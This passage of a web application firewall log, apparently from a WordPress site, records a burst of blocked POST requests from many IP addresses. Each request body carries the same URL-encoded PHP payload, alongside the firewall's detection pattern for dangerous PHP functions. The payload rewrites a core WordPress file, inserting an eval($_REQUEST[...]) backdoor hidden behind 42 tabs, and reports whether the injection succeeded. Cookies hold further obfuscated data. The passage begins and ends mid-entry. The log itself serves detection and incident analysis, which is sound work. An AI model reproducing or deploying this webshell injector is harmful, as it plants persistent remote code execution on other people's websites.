3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvnJpvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaIwo252MKW0VwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\nsec-fetch-site:none\n\nig=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/ID3\/module.audio-video.matroska.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27eval%2528%2524_REQUEST%255B%2527bBebjb%2527%255D%2529%253B%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 09:50:47","89.167.82.230","POST","\/wp-includes\/block-patterns\/query-large-title-posts.php","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/15.5 Safari\/605.1.15","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> IMAhJp:eval(rawurldecode(\"%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/ID3\/module.audio-video.matroska.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27eval%2528%2524_REQUEST%255B%2527bBebjb%2527%255D%2529%253B%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20\"));","POST \/wp-includes\/block-patterns\/query-large-title-posts.php HTTP\/1.1\nhost:dewenlabels.com\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\naccept:*\/*\naccept-encoding:gzip,deflate\ncontent-type:application\/x-www-form-urlencoded\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\ncontent-length:2075\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/15.5 Safari\/605.1.15\n\nIMAhJp=eval(rawurldecode(\"%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/ID3\/module.audio-video.matroska.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27eval%2528%2524_REQUEST%255B%2527bBebjb%2527%255D%2529%253B%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20\"));"]
["2026-05-12 09:50:49","212.87.197.20","POST","\/wp-admin\/site-health.php","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/120.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> fX:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/ID3\/module.audio-video.matroska.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27eval%2528%2524_REQUEST%255B%2527bBebjb%2527%255D%2529%253B%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/wp-admin\/site-health.php HTTP\/1.1\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/120.0.0.0 Safari\/537.36\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nsec-fetch-dest:document\ncontent-length:2052\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nhost:dewenlabels.com\naccept-encoding:gzip,deflate\nsec-ch-ua:\"Not_A Brand\";v=\"8\", \"Chromium\";v=\"120\", \"Google Chrome\";v=\"120\"\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-ch-ua-mobile:?0\naccept:*\/*\nsec-ch-ua-platform:\"macOS\"\nupgrade-insecure-requests:1\ncontent-type:application\/x-www-form-urlencoded\ncookie:4=3a8677dc156d672c6e12f16237adcc36; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvMytvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaA5plV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 0=71\nsec-fetch-site:none\n\nfX=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/ID3\/module.audio-video.matroska.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27eval%2528%2524_REQUEST%255B%2527bBebjb%2527%255D%2529%253B%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 09:50:52","103.143.207.18","POST","\/","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/17.0 Safari\/605.1.15","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> gv:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/Requests\/src\/Port.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27eval%2528%2524_REQUEST%255B%2527OycYZZ%2527%255D%2529%253B%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nhost:dewenlabels.com\nsec-fetch-mode:navigate\nsec-fetch-dest:document\ncontent-length:2040\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\naccept:*\/*\naccept-encoding:gzip,deflate\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/17.0 Safari\/605.1.15\ncontent-type:application\/x-www-form-urlencoded\ncookie:4=ce288246c7d2df0454c666077eb603cf; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvM3LvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaA5p3EyoFV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 0=71\nsec-fetch-site:none\n\ngv=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/Requests\/src\/Port.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27eval%2528%2524_REQUEST%255B%2527OycYZZ%2527%255D%2529%253B%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 09:50:55","77.65.47.245","POST","\/","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/17.0 Safari\/605.1.15","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> Zp:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/Requests\/src\/Port.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27eval%2528%2524_REQUEST%255B%2527OycYZZ%2527%255D%2529%253B%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nhost:dewenlabels.com\nsec-fetch-mode:navigate\nsec-fetch-dest:document\ncontent-length:2040\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\naccept:*\/*\naccept-encoding:gzip,deflate\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/17.0 Safari\/605.1.15\ncontent-type:application\/x-www-form-urlencoded\ncookie:4=1af844051764377410b827578daae50e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvJaNvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzyvLKAyK3Owo25hMJA0nJ9hVwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\nsec-fetch-site:none\n\nZp=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/Requests\/src\/Port.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27eval%2528%2524_REQUEST%255B%2527OycYZZ%2527%255D%2529%253B%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 09:50:57","192.3.12.164","POST","\/","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/120.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> ht:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/Requests\/src\/Port.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27eval%2528%2524_REQUEST%255B%2527OycYZZ%2527%255D%2529%253B%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/120.0.0.0 Safari\/537.36\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nsec-fetch-dest:document\ncontent-length:2040\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nhost:dewenlabels.com\naccept-encoding:gzip,deflate\nsec-ch-ua:\"Not_A Brand\";v=\"8\", \"Chromium\";v=\"120\", \"Google Chrome\";v=\"120\"\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-ch-ua-mobile:?0\naccept:*\/*\nsec-ch-ua-platform:\"macOS\"\nupgrade-insecure-requests:1\ncontent-type:application\/x-www-form-urlencoded\ncookie:4=9502d8dfeef0bdc4da77dd3a93ec6aec; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvnUDvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaWdqKA0VwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\nsec-fetch-site:none\n\nht=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/Requests\/src\/Port.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27eval%2528%2524_REQUEST%255B%2527OycYZZ%2527%255D%2529%253B%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 09:50:59","141.95.124.215","POST","\/wp-admin\/network\/plugins.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/116.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> 